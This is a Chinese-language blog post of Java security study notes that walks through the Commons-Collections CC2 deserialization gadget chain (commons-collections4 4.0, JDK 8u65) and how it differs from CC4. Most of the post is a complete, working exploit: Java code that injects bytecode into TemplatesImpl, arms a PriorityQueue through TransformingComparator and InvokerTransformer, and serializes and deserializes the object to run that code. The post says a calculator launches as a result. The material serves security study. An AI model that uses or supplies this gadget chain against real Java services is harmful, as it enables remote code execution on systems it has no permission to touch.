JAVA安全学习笔记--Commons-Collections链复现篇(05. CC2链)

CC2链

前言

过完前面的链子,看后续的链子简直不要太顺利 ~

CC2链其实就是CC4链基础上作了一些改动,摒弃了transformers数组和InstantiateTransformer#transform,然后通过InvokerTransformer来调用newTransformer

其余的基本一致。

环境部署

  • jdk8u65
  • Commons-Collections 4.0

其实就是CC4的环境没变

环境依赖:

<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

CC2链分析

我们前面说过了,CC2链无非就是在CC4链的基础上作了一些改动。改动如下:

  1. 摒弃了transformers数组
CC4:
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
CC2:
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

但是不使用ChainedTransformer又会发现一个问题,就是我们的transform(Object)参数如何传入呢?下面我先直接给答案,然后讲解原因。

  1. 将调用对象改成直接add进priorityQueue里。
CC4:
priorityQueue.add(1);
priorityQueue.add(2);
CC2:
priorityQueue.add(templates);
priorityQueue.add(templates);

下面分析原因,为什么这么传

  • 首先我们看一下compare方法的实现

image-20250914133914790

可以发现是将obj1和obj2两个对象当作了transform的参数。

  • 我们再往前跟进看是如何给compare方法传参的

image-20250914134518332

可以发现都是直接将队列中的元素取出来然后当作compare方法的参数,那我们只要让队列中的元素都为templates不就好了?

所以我们才这样做

priorityQueue.add(templates);
priorityQueue.add(templates);

当然我们还是要避免add方法走完整条链子,所以除了我们说的地方要改动,其他直接照搬CC4即可。

完整的EXP

直接在原有的CC4链基础上改动便得到了CC2完整的EXP:

package com.test.CC2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);
        Class t = transformingComparator.getClass();
        Field transformerField = t.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,invokerTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

运行看效果:

image-20250914135550254

可以看到弹出了计算器,利用链也是走的我们预想中的。

非常EZ啊

总结

由于CC2就是在CC4基础上稍微改动一点,所以我将这两条链子的图片放一起画吧

image-20250914140223104

CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组。不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现。

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注